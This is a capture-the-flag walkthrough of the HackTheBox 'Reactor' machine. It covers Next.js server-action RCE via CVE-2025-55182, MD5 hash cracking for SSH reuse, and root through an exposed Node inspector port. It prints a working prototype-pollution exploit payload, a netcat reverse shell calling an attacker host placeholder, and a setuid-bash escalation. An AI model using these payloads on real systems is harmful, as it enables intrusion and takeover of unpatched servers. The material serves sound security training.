# Reactor Writeup - HackTheBox

> Unauthenticated Next.js RCE via React2Shell (CVE-2025-55182), crack a reused hash from the app SQLite database for SSH, then abuse a root Node --inspect debug port for root.

- **URL:** https://hackindex.io/writeups/reactor
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/reactor
- **Tags:** prototype-pollution, rce, nodejs, nextjs, privilege-escalation, suid, sudo-misconfiguration, hash-cracking
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 4 min read
- **Published:** 2026-05-23
- **Updated:** 2026-10-11

Reactor is a Linux box whose entire external surface is a single Next.js application. It is still active, so this page opens with the port scan and stops there.

## Reconnaissance

### Port scan

```bash
nmap -sCV -p22,3000 $TARGET_IP -oA nmap/nmap
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
# 3000/tcp open  http    Next.js
# | fingerprint-strings:
# |   X-Powered-By: Next.js
# |   x-nextjs-cache: HIT
# |_  Content-Type: text/html; charset=utf-8
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Domains

The app is reached directly by IP on port 3000, with no virtual host in the scan. The machine name is `reactor.htb`.

Only SSH and a web app on 3000. The `X-Powered-By: Next.js` header and the `_next` asset paths are the whole story: this is a Next.js server, and its version puts it in range for React2Shell.

## Vulnerability Discovery

### React2Shell

CVE-2025-55182 is an unauthenticated RCE in Next.js server actions. The React Server Components payload is deserialized in a way that lets a crafted chunk reach a prototype pollution gadget and, through it, the Function constructor, so an attacker controlled string runs as JavaScript on the server. Assetnote's scanner confirms the target is affected before any exploitation.

```bash
python3 scanner.py -u http://$TARGET_IP:3000
# [*] Loaded 1 host(s) to scan
# [*] Using RCE PoC check
#
# [VULNERABLE] http://$TARGET_IP:3000 - Status: 303
#
#   Vulnerable: 1
```

## Exploitation

### From gadget to shell

The public proof of concept sends the crafted server action chunk. The gadget walks `__proto__` to `then`, then `constructor:constructor` to reach `Function`, and the `_prefix` field carries the JavaScript to run, a `child_process.execSync` call with the command of choice.

```python
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {"get": "$1:constructor:constructor"},
    },
}
files = {"0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"')}
requests.post(BASE_URL, files=files, headers={"Next-Action": "x"}, timeout=10)
```

Running it with an `id` command proves execution by returning the result in the error digest.

```bash
python3 poc.py http://$TARGET_IP:3000 'id'
# 500
# 0:{"a":"$@1","f":"","b":"L3bimJe_3LvBcFWAnK5L4"}
# 1:E{"digest":"uid=999(node) gid=988(node) groups=988(node)"}
```

Code runs as the `node` user. Swapping the command for a reverse shell one liner and catching it turns it interactive.

```bash
python3 poc.py http://$TARGET_IP:3000 'busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash'
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 48378
# python3 -c 'import pty;pty.spawn("/bin/bash")'
# node@reactor:/opt/reactor-app$ whoami
# node
```

## Lateral Movement

### The application database

The app directory holds a SQLite database next to the source, and `/etc/passwd` shows one real interactive user besides root, `engineer`. The database is where a reused credential is most likely to sit.

```bash
sqlite3 reactor.db 'select username, password from users;'
# admin|$ADMINS_HASH
# engineer|$ENGINEERS_HASH
```

Two MD5 hashes. Feeding them to hashcat against a wordlist cracks the engineer entry.

```bash
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
# $ENGINEERS_HASH:$ENGINEERS_PASSWORD
```

The password is reused for the system account, so SSH takes it directly.

```bash
ssh engineer@$TARGET_IP
# engineer@reactor:~$ whoami
# engineer
```

That is the user context. `sudo -l` is denied and asks for a password that leads nowhere, so escalation has to come from something running on the box.

## Privilege Escalation

### A root debugger port

```bash
ps aux | grep -v '\[' | grep root
# root  1381  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
# <snip>
```

A Node process runs as root with `--inspect=127.0.0.1:9229`. The inspector is the V8 debug protocol, and anything that connects to it can evaluate JavaScript inside that root process. It listens on loopback, which is fine because the SSH session is already on the host. `node inspect` attaches to it.

```bash
node inspect 127.0.0.1:9229
# connecting to 127.0.0.1:9229 ... ok
# debug> exec("process.mainModule.require('child_process').execSync('id').toString()")
# 'uid=0(root) gid=0(root) groups=0(root)\n'
```

Plain `require` is not defined in the debug REPL, but `process.mainModule.require` reaches `child_process` the same way the web exploit did. Running it as root is enough to mark a bash copy setuid, or read the flag directly.

```bash
node inspect 127.0.0.1:9229
# debug> exec("process.mainModule.require('child_process').execSync('chmod u+s /bin/bash').toString()")
```

```bash
/bin/bash -p
id
# uid=1000(engineer) gid=1000(engineer) euid=0(root) groups=1000(engineer)
```

Root through the setuid bash. User via engineer and root via the exposed inspector are both covered.

Related

## References

- [Next.js server actions RCE (React2Shell)](https://github.com/advisories/GHSA-4342-x723-ch2f) - Advisory for CVE-2025-55182, the deserialization gadget behind the foothold.
- [msanft/CVE-2025-55182](https://github.com/msanft/CVE-2025-55182) - Proof of concept for the server action RCE used here.
- [Node.js debugging with --inspect](https://nodejs.org/en/learn/getting-started/debugging) - Explains the inspector protocol that a root process exposed on 9229.
